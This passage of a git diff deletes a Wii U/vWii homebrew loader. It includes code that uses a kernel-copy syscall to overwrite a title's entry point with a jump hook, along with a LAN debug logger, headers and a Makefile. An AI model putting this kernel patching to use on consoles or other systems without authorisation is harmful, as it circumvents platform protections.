jump_main_hook = 0; - osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire; - osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport; - - osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1; - osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2; - osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3; - osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4; - osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5; - - osSpecificFunctions.LiWaitIopComplete = (int (*)(int, int *)) address_LiWaitIopComplete; - osSpecificFunctions.LiWaitIopCompleteWithInterrupts = (int (*)(int, int *)) address_LiWaitIopCompleteWithInterrupts; - osSpecificFunctions.addr_LiWaitOneChunk = address_LiWaitOneChunk; - osSpecificFunctions.addr_PrepareTitle_hook = address_PrepareTitle_hook; - osSpecificFunctions.addr_sgIsLoadingBuffer = address_sgIsLoadingBuffer; - osSpecificFunctions.addr_gDynloadInitialized = address_gDynloadInitialized; - osSpecificFunctions.orig_LiWaitOneChunkInstr = *(unsigned int*)address_LiWaitOneChunk; - - //! pointer to main entry point of a title - osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr; - - SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics)); - - //! at this point we dont need to check header and stuff as it is sure to be OK - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf; - unsigned int mainEntryPoint = ehdr->e_entry; - - //! Install our entry point hook - unsigned int repl_addr = ADDRESS_main_entry_hook; - unsigned int jump_addr = mainEntryPoint & 0x03fffffc; - bufferU32 = 0x48000003 | jump_addr; - SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32)); - // flush caches and invalidate instruction cache - private_data->ICInvalidateRange((void*)(repl_addr), 4); -} diff --git a/dsrom/vwii_loader/logger.c b/dsrom/vwii_loader/logger.c deleted file mode 100644 index 7873ffd..0000000 --- a/dsrom/vwii_loader/logger.c +++ /dev/null @@ -1,74 +0,0 @@ -#include -#include -#include -#include -#include -#include "common/common.h" -#include "dynamic_libs/socket_functions.h" -#include "logger.h" - -static int log_socket = 0; - - -void log_init(void) -{ - if(log_socket > 0) - return; - - log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); - if (log_socket < 0) - return; - - struct sockaddr_in connect_addr; - memset(&connect_addr, 0, sizeof(connect_addr)); - connect_addr.sin_family = AF_INET; - connect_addr.sin_port = 4405; - inet_aton("192.168.0.44", &connect_addr.sin_addr); - - if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) - { - socketclose(log_socket); - log_socket = -1; - } -} - -void log_print(const char *str) -{ - // socket is always 0 initially as it is in the BSS - if(log_socket <= 0) { - log_init(); - return; - } - - int len = strlen(str); - int ret; - while (len > 0) { - ret = send(log_socket, str, len, 0); - if(ret < 0) - return; - - len -= ret; - str += ret; - } -} - -void log_printf(const char *format, ...) -{ - if(log_socket <= 0) { - log_init(); - return; - } - - char * tmp = NULL; - - va_list va; - va_start(va, format); - if((vasprintf(&tmp, format, va) >= 0) && tmp) - { - log_print(tmp); - } - va_end(va); - - if(tmp) - free(tmp); -} diff --git a/dsrom/vwii_loader/logger.h b/dsrom/vwii_loader/logger.h deleted file mode 100644 index 5f602fb..0000000 --- a/dsrom/vwii_loader/logger.h +++ /dev/null @@ -1,86 +0,0 @@ -#ifndef __LOGGER_H_ -#define __LOGGER_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -/* Communication bytes with the server */ -// Com -#define BYTE_NORMAL 0xff -#define BYTE_SPECIAL 0xfe -#define BYTE_OK 0xfd -#define BYTE_PING 0xfc -#define BYTE_LOG_STR 0xfb -#define BYTE_DISCONNECT 0xfa - -// SD -#define BYTE_MOUNT_SD 0xe0 -#define BYTE_MOUNT_SD_OK 0xe1 -#define BYTE_MOUNT_SD_BAD 0xe2 - -// Replacement -#define BYTE_STAT 0x00 -#define BYTE_STAT_ASYNC 0x01 -#define BYTE_OPEN_FILE 0x02 -#define BYTE_OPEN_FILE_ASYNC 0x03 -#define BYTE_OPEN_DIR 0x04 -#define BYTE_OPEN_DIR_ASYNC 0x05 -#define BYTE_CHANGE_DIR 0x06 -#define BYTE_CHANGE_DIR_ASYNC 0x07 -#define BYTE_MAKE_DIR 0x08 -#define BYTE_MAKE_DIR_ASYNC 0x09 -#define BYTE_RENAME 0x0A -#define BYTE_RENAME_ASYNC 0x0B -#define BYTE_REMOVE 0x0C -#define BYTE_REMOVE_ASYNC 0x0D - -// Log -#define BYTE_CLOSE_FILE 0x40 -#define BYTE_CLOSE_FILE_ASYNC 0x41 -#define BYTE_CLOSE_DIR 0x42 -#define BYTE_CLOSE_DIR_ASYNC 0x43 -#define BYTE_FLUSH_FILE 0x44 -#define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45 -#define BYTE_GET_LAST_ERROR 0x46 -#define BYTE_GET_MOUNT_SOURCE 0x47 -#define BYTE_GET_MOUNT_SOURCE_NEXT 0x48 -#define BYTE_GET_POS_FILE 0x49 -#define BYTE_SET_POS_FILE 0x4A -#define BYTE_GET_STAT_FILE 0x4B -#define BYTE_EOF 0x4C -#define BYTE_READ_FILE 0x4D -#define BYTE_READ_FILE_ASYNC 0x4E -#define BYTE_READ_FILE_WITH_POS 0x4F -#define BYTE_READ_DIR 0x50 -#define BYTE_READ_DIR_ASYNC 0x51 -#define BYTE_GET_CWD 0x52 -#define BYTE_SET_STATE_CHG_NOTIF 0x53 -#define BYTE_TRUNCATE_FILE 0x54 -#define BYTE_WRITE_FILE 0x55 -#define BYTE_WRITE_FILE_WITH_POS 0x56 - -#define BYTE_SAVE_INIT 0x57 -#define BYTE_SAVE_SHUTDOWN 0x58 -#define BYTE_SAVE_INIT_SAVE_DIR 0x59 -#define BYTE_SAVE_FLUSH_QUOTA 0x5A -#define BYTE_SAVE_OPEN_DIR 0x5B -#define BYTE_SAVE_REMOVE 0x5C - -#define BYTE_CREATE_THREAD 0x60 - - -int logger_connect(int *socket); -void logger_disconnect(int socket); -void log_string(int sock, const char* str, char byte); -void log_byte(int sock, char byte); - -void log_init(void); -void log_print(const char *str); -void log_printf(const char *format, ...); - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/dsrom/vwii_loader/os_defs.h b/dsrom/vwii_loader/os_defs.h deleted file mode 100644 index b92c527..0000000 --- a/dsrom/vwii_loader/os_defs.h +++ /dev/null @@ -1,40 +0,0 @@ -#ifndef __OS_DEFS_H_ -#define __OS_DEFS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct _OsSpecifics -{ - unsigned int addr_OSDynLoad_Acquire; - unsigned int addr_OSDynLoad_FindExport; - unsigned int addr_OSTitle_main_entry; - - unsigned int addr_KernSyscallTbl1; - unsigned int addr_KernSyscallTbl2; - unsigned int addr_KernSyscallTbl3; - unsigned int addr_KernSyscallTbl4; - unsigned int addr_KernSyscallTbl5; - - int (*LiWaitIopComplete)(int, int *); - int (*LiWaitIopCompleteWithInterrupts)(int, int *); - unsigned int addr_LiWaitOneChunk; - unsigned int addr_PrepareTitle_hook; - unsigned int addr_sgIsLoadingBuffer; - unsigned int addr_gDynloadInitialized; - unsigned int orig_LiWaitOneChunkInstr; -} OsSpecifics; - -typedef struct _s_mem_area -{ - unsigned int address; - unsigned int size; - struct _s_mem_area* next; -} s_mem_area; - -#ifdef __cplusplus -} -#endif - -#endif // __OS_DEFS_H_ diff --git a/dsrom/vwii_loader/sd_loader/Makefile b/dsrom/vwii_loader/sd_loader/Makefile deleted file mode 100644 index 1f8cf29..0000000 --- a/dsrom/vwii_loader/sd_loader/Makefile +++ /dev/null @@ -1,178 +0,0 @@ -#--------------------------------------------------------------------------------- -# Clear the implicit built in rules -#--------------------------------------------------------------------------------- -.SUFFIXES: -#--------------------------------------------------------------------------------- -ifeq ($(strip $(DEVKITPPC)),) -$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") -endif -export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) -export LIBOGC_INC := $(DEVKITPRO)/libogc/include -export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii -export PORTLIBS := $(DEVKITPRO)/portlibs/ppc - -PREFIX := powerpc-eabi- - -export AS := $(PREFIX)as -export CC := $(PREFIX)gcc -export CXX := $(PREFIX)g++ -export AR := $(PREFIX)ar -export OBJCOPY := $(PREFIX)objcopy - -#--------------------------------------------------------------------------------- -# TARGET is the name of the output -# BUILD is the directory where object files & intermediate files will be placed -# SOURCES is a list of directories containing source code -# INCLUDES is a list of directories containing extra header files -#--------------------------------------------------------------------------------- -TARGET := sd_loader -BUILD := build -BUILD_DBG := $(TARGET)_dbg -SOURCES := src -DATA := -INCLUDES := - -#--------------------------------------------------------------------------------- -# options for code generation -#--------------------------------------------------------------------------------- -CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math -fno-builtin \ - -Os -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -ASFLAGS := -mregnames -LDFLAGS := -nostartfiles -Wl,--gc-sections -Xlinker -Map=fuck.map - -Q := @ -MAKEFLAGS += --no-print-directory -#--------------------------------------------------------------------------------- -# any extra libraries we wish to link with the project -#--------------------------------------------------------------------------------- -LIBS := - -#--------------------------------------------------------------------------------- -# list of directories containing libraries, this must be the top level containing -# include and lib -#--------------------------------------------------------------------------------- -LIBDIRS := $(CURDIR) \ - $(DEVKITPPC)/lib \ - $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 - - -#--------------------------------------------------------------------------------- -# no real need to edit anything past this point unless you need to add additional -# rules for different file extensions -#--------------------------------------------------------------------------------- -ifneq ($(BUILD),$(notdir $(CURDIR))) -#--------------------------------------------------------------------------------- -export PROJECTDIR := $(CURDIR) -export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) -export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ - $(foreach dir,$(DATA),$(CURDIR)/$(dir)) -export DEPSDIR := $(CURDIR)/$(BUILD) - -#--------------------------------------------------------------------------------- -# automatically build a list of object files for our project -#--------------------------------------------------------------------------------- -CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) -CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) -sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) -SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) -BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) -TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) -PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) - -#--------------------------------------------------------------------------------- -# use CXX for linking C++ projects, CC for standard C -#--------------------------------------------------------------------------------- -ifeq ($(strip $(CPPFILES)),) - export LD := $(CC) -else - export LD := $(CXX) -endif - -export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ - $(sFILES:.s=.o) $(SFILES:.S=.o) \ - $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) - -#--------------------------------------------------------------------------------- -# build a list of include paths -#--------------------------------------------------------------------------------- -export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ - $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ - -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ - -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 - -#--------------------------------------------------------------------------------- -# build a list of library paths -#--------------------------------------------------------------------------------- -export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ - -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib - -export OUTPUT := $(CURDIR)/$(TARGET) -.PHONY: $(BUILD) clean install - -#--------------------------------------------------------------------------------- -$(BUILD): - @[ -d $@ ] || mkdir -p $@ - @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile - -#--------------------------------------------------------------------------------- -clean: - @echo clean ... - @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf - -#--------------------------------------------------------------------------------- -else - -DEPENDS := $(OFILES:.o=.d) - -#--------------------------------------------------------------------------------- -# main targets -#--------------------------------------------------------------------------------- -$(OUTPUT).elf: $(OFILES) - -#--------------------------------------------------------------------------------- -# This rule links in binary data with the .jpg extension -#--------------------------------------------------------------------------------- -%.elf: link.ld $(OFILES) - @echo "linking ... $(TARGET).elf" - $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) - $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ - -#--------------------------------------------------------------------------------- -%.a: -#--------------------------------------------------------------------------------- - @echo $(notdir $@) - @rm -f $@ - @$(AR) -rc $@ $^ - -#--------------------------------------------------------------------------------- -%.o: %.cpp - @echo $(notdir $<) - @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.c - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.S - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.png.o : %.png - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.ttf.o : %.ttf - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - --include $(DEPENDS) - -#--------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------- diff --git a/dsrom/vwii_loader/sd_loader/include/stdint.h b/dsrom/vwii_loader/sd_loader/include/stdint.h deleted file mode 100644 index fff483d..0000000 --- a/dsrom/vwii_loader/sd_loader/include/stdint.h +++ /dev/null @@ -1,15 +0,0 @@ -#ifndef _STDINT_WRAP_H -#define _STDINT_WRAP_H - -#define int32_t dontcare_int32_t -#define uint32_t dontcare_uint32_t - -#include_next - -#undef int32_t -#undef uint32_t - -typedef signed int int32_t; -typedef unsigned int uint32_t; - -#endif \ No newline at end of file diff --git a/dsrom/vwii_loader/sd_loader/src/crt0.S b/dsrom/vwii_loader/sd_loader/src/crt0.S deleted file mode 100644 index c803619..0000000 --- a/dsrom/vwii_loader/sd_loader/src/crt0.S +++ /dev/null @@ -1,20 +0,0 @@ - - .extern _main - .globl _start - -_start: - mflr 0 - stwu 1,-0x18(1) - stw 0,0x1C(1) - stw 3,8(1) - stw 4,0xC(1) - # jump to our main - bl _main - # launch original title - mtctr 3 - lwz 3,8(1) - lwz 4,0xC(1) - lwz 0,0x1C(1) - mtlr 0 - addi 1,1,0x18 - bctr diff --git a/dsrom/vwii_loader/sd_loader/src/elf_abi.h b/dsrom/vwii_loader/sd_loader/src/elf_abi.h deleted file mode 100644 index 4d9c796..0000000 --- a/dsrom/vwii_loader/sd_loader/src/elf_abi.h +++ /dev/null @@ -1,591 +0,0 @@ -/* - * Copyright (c) 1995, 1996, 2001, 2002 - * Erik Theisen. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote products - * derived from this software without specific prior written permission - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This is the ELF ABI header file - * formerly known as "elf_abi.h". - */ - -#ifndef _ELF_ABI_H -#define _ELF_ABI_H - -/* - * This version doesn't work for 64-bit ABIs - Erik. - */ - -/* - * These typedefs need to be handled better. - */ -typedef unsigned int Elf32_Addr; /* Unsigned program address */ -typedef unsigned int Elf32_Off; /* Unsigned file offset */ -typedef signed int Elf32_Sword; /* Signed large integer */ -typedef unsigned int Elf32_Word; /* Unsigned large integer */ -typedef unsigned short Elf32_Half; /* Unsigned medium integer */ - -/* e_ident[] identification indexes */ -#define EI_MAG0 0 /* file ID */ -#define EI_MAG1 1 /* file ID */ -#define EI_MAG2 2 /* file ID */ -#define EI_MAG3 3 /* file ID */ -#define EI_CLASS 4 /* file class */ -#define EI_DATA 5 /* data encoding */ -#define EI_VERSION 6 /* ELF header version */ -#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ -#define EI_ABIVERSION 8 /* ABI target version */ -#define EI_PAD 9 /* start of pad bytes */ -#define EI_NIDENT 16 /* Size of e_ident[] */ - -/* e_ident[] magic number */ -#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ -#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ -#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ -#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ -#define ELFMAG "\177ELF" /* magic */ -#define SELFMAG 4 /* size of magic */ - -/* e_ident[] file class */ -#define ELFCLASSNONE 0 /* invalid */ -#define ELFCLASsigned int 1 /* 32-bit objs */ -#define ELFCLASS64 2 /* 64-bit objs */ -#define ELFCLASSNUM 3 /* number of classes */ - -/* e_ident[] data encoding */ -#define ELFDATANONE 0 /* invalid */ -#define ELFDATA2LSB 1 /* Little-Endian */ -#define ELFDATA2MSB 2 /* Big-Endian */ -#define ELFDATANUM 3 /* number of data encode defines */ - -/* e_ident[] OS/ABI specific ELF extensions */ -#define ELFOSABI_NONE 0 /* No extension specified */ -#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ -#define ELFOSABI_NETBSD 2 /* NetBSD */ -#define ELFOSABI_LINUX 3 /* Linux */ -#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ -#define ELFOSABI_AIX 7 /* AIX */ -#define ELFOSABI_IRIX 8 /* IRIX */ -#define ELFOSABI_FREEBSD 9 /* FreeBSD */ -#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ -#define ELFOSABI_MODESTO 11 /* Novell Modesto */ -#define ELFOSABI_OPENBSD 12 /* OpenBSD */ -/* 64-255 Architecture-specific value range */ - -/* e_ident[] ABI Version */ -#define ELFABIVERSION 0 - -/* e_ident */ -#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ - (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ - (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ - (ehdr).e_ident[EI_MAG3] == ELFMAG3) - -/* ELF Header */ -typedef struct elfhdr{ - unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ - Elf32_Half e_type; /* object file type */ - Elf32_Half e_machine; /* machine */ - Elf32_Word e_version; /* object file version */ - Elf32_Addr e_entry; /* virtual entry point */ - Elf32_Off e_phoff; /* program header table offset */ - Elf32_Off e_shoff; /* section header table offset */ - Elf32_Word e_flags; /* processor-specific flags */ - Elf32_Half e_ehsize; /* ELF header size */ - Elf32_Half e_phentsize; /* program header entry size */ - Elf32_Half e_phnum; /* number of program header entries */ - Elf32_Half e_shentsize; /* section header entry size */ - Elf32_Half e_shnum; /* number of section header entries */ - Elf32_Half e_shstrndx; /* section header table's "section - header string table" entry offset */ -} Elf32_Ehdr; - -/* e_type */ -#define ET_NONE 0 /* No file type */ -#define ET_REL 1 /* relocatable file */ -#define ET_EXEC 2 /* executable file */ -#define ET_DYN 3 /* shared object file */ -#define ET_CORE 4 /* core file */ -#define ET_NUM 5 /* number of types */ -#define ET_LOOS 0xfe00 /* reserved range for operating */ -#define ET_HIOS 0xfeff /* system specific e_type */ -#define ET_LOPROC 0xff00 /* reserved range for processor */ -#define ET_HIPROC 0xffff /* specific e_type */ - -/* e_machine */ -#define EM_NONE 0 /* No Machine */ -#define EM_M32 1 /* AT&T WE 32100 */ -#define EM_SPARC 2 /* SPARC */ -#define EM_386 3 /* Intel 80386 */ -#define EM_68K 4 /* Motorola 68000 */ -#define EM_88K 5 /* Motorola 88000 */ -#if 0 -#define EM_486 6 /* RESERVED - was Intel 80486 */ -#endif -#define EM_860 7 /* Intel 80860 */ -#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ -#define EM_S370 9 /* IBM System/370 Processor */ -#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ -#if 0 -#define EM_SPARC64 11 /* RESERVED - was SPARC v9 - 64-bit unoffical */ -#endif -/* RESERVED 11-14 for future use */ -#define EM_PARISC 15 /* HPPA */ -/* RESERVED 16 for future use */ -#define EM_VPP500 17 /* Fujitsu VPP500 */ -#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ -#define EM_960 19 /* Intel 80960 */ -#define EM_PPC 20 /* PowerPC */ -#define EM_PPC64 21 /* 64-bit PowerPC */ -#define EM_S390 22 /* IBM System/390 Processor */ -/* RESERVED 23-35 for future use */ -#define EM_V800 36 /* NEC V800 */ -#define EM_FR20 37 /* Fujitsu FR20 */ -#define EM_RH32 38 /* TRW RH-32 */ -#define EM_RCE 39 /* Motorola RCE */ -#define EM_ARM 40 /* Advanced Risc Machines ARM */ -#define EM_ALPHA 41 /* Digital Alpha */ -#define EM_SH 42 /* Hitachi SH */ -#define EM_SPARCV9 43 /* SPARC Version 9 */ -#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ -#define EM_ARC 45 /* Argonaut RISC Core */ -#define EM_H8_300 46 /* Hitachi H8/300 */ -#define EM_H8_300H 47 /* Hitachi H8/300H */ -#define EM_H8S 48 /* Hitachi H8S */ -#define EM_H8_500 49 /* Hitachi H8/500 */ -#define EM_IA_64 50 /* Intel Merced */ -#define EM_MIPS_X 51 /* Stanford MIPS-X */ -#define EM_COLDFIRE 52 /* Motorola Coldfire */ -#define EM_68HC12 53 /* Motorola M68HC12 */ -#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ -#define EM_PCP 55 /* Siemens PCP */ -#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ -#define EM_NDR1 57 /* Denso NDR1 microprocessor */ -#define EM_STARCORE 58 /* Motorola Start*Core processor */ -#define EM_ME16 59 /* Toyota ME16 processor */ -#define EM_ST100 60 /* STMicroelectronic ST100 processor */ -#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ -#define EM_X86_64 62 /* AMD x86-64 */ -#define EM_PDSP 63 /* Sony DSP Processor */ -/* RESERVED 64,65 for future use */ -#define EM_FX66 66 /* Siemens FX66 microcontroller */ -#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ -#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ -#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ -#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ -#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ -#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ -#define EM_SVX 73 /* Silicon Graphics SVx */ -#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ -#define EM_VAX 75 /* Digital VAX */ -#define EM_CHRIS 76 /* Axis Communications embedded proc. */ -#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ -#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ -#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ -#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ -#define EM_HUANY 81 /* Harvard University mach-indep objs */ -#define EM_PRISM 82 /* SiTera Prism */ -#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ -#define EM_FR30 84 /* Fujitsu FR30 */ -#define EM_D10V 85 /* Mitsubishi DV10V */ -#define EM_D30V 86 /* Mitsubishi DV30V */ -#define EM_V850 87 /* NEC v850 */ -#define EM_M32R 88 /* Mitsubishi M32R */ -#define EM_MN10300 89 /* Matsushita MN10200 */ -#define EM_MN10200 90 /* Matsushita MN10200 */ -#define EM_PJ 91 /* picoJava */ -#define EM_NUM 92 /* number of machine types */ - -/* Version */ -#define EV_NONE 0 /* Invalid */ -#define EV_CURRENT 1 /* Current */ -#define EV_NUM 2 /* number of versions */ - -/* Section Header */ -typedef struct { - Elf32_Word sh_name; /* name - index into section header - string table section */ - Elf32_Word sh_type; /* type */ - Elf32_Word sh_flags; /* flags */ - Elf32_Addr sh_addr; /* address */ - Elf32_Off sh_offset; /* file offset */ - Elf32_Word sh_size; /* section size */ - Elf32_Word sh_link; /* section header table index link */ - Elf32_Word sh_info; /* extra information */ - Elf32_Word sh_addralign; /* address alignment */ - Elf32_Word sh_entsize; /* section entry size */ -} Elf32_Shdr; - -/* Special Section Indexes */ -#define SHN_UNDEF 0 /* undefined */ -#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ -#define SHN_LOPROC 0xff00 /* reserved range for processor */ -#define SHN_HIPROC 0xff1f /* specific section indexes */ -#define SHN_LOOS 0xff20 /* reserved range for operating */ -#define SHN_HIOS 0xff3f /* specific semantics */ -#define SHN_ABS 0xfff1 /* absolute value */ -#define SHN_COMMON 0xfff2 /* common symbol */ -#define SHN_XINDEX 0xffff /* Index is an extra table */ -#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ - -/* sh_type */ -#define SHT_NULL 0 /* inactive */ -#define SHT_PROGBITS 1 /* program defined information */ -#define SHT_SYMTAB 2 /* symbol table section */ -#define SHT_STRTAB 3 /* string table section */ -#define SHT_RELA 4 /* relocation section with addends*/ -#define SHT_HASH 5 /* symbol hash table section */ -#define SHT_DYNAMIC 6 /* dynamic section */ -#define SHT_NOTE 7 /* note section */ -#define SHT_NOBITS 8 /* no space section */ -#define SHT_REL 9 /* relation section without addends */ -#define SHT_SHLIB 10 /* reserved - purpose unknown */ -#define SHT_DYNSYM 11 /* dynamic symbol table section */ -#define SHT_INIT_ARRAY 14 /* Array of constructors */ -#define SHT_FINI_ARRAY 15 /* Array of destructors */ -#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ -#define SHT_GROUP 17 /* Section group */ -#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ -#define SHT_NUM 19 /* number of section types */ -#define SHT_LOOS 0x60000000 /* Start OS-specific */ -#define SHT_HIOS 0x6fffffff /* End OS-specific */ -#define SHT_LOPROC 0x70000000 /* reserved range for processor */ -#define SHT_HIPROC 0x7fffffff /* specific section header types */ -#define SHT_LOUSER 0x80000000 /* reserved range for application */ -#define SHT_HIUSER 0xffffffff /* specific indexes */ - -/* Section names */ -#define ELF_BSS ".bss" /* uninitialized data */ -#define ELF_COMMENT ".comment" /* version control information */ -#define ELF_DATA ".data" /* initialized data */ -#define ELF_DATA1 ".data1" /* initialized data */ -#define ELF_DEBUG ".debug" /* debug */ -#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ -#define ELF_DYNSTR ".dynstr" /* dynamic string table */ -#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ -#define ELF_FINI ".fini" /* termination code */ -#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ -#define ELF_GOT ".got" /* global offset table */ -#define ELF_HASH ".hash" /* symbol hash table */ -#define ELF_INIT ".init" /* initialization code */ -#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ -#define ELF_INTERP ".interp" /* Pathname of program interpreter */ -#define ELF_LINE ".line" /* Symbolic line numnber information */ -#define ELF_NOTE ".note" /* Contains note section */ -#define ELF_PLT ".plt" /* Procedure linkage table */ -#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ -#define ELF_REL_DATA ".rel.data" /* relocation data */ -#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ -#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ -#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ -#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ -#define ELF_REL_TEXT ".rel.text" /* relocation code */ -#define ELF_RODATA ".rodata" /* read-only data */ -#define ELF_RODATA1 ".rodata1" /* read-only data */ -#define 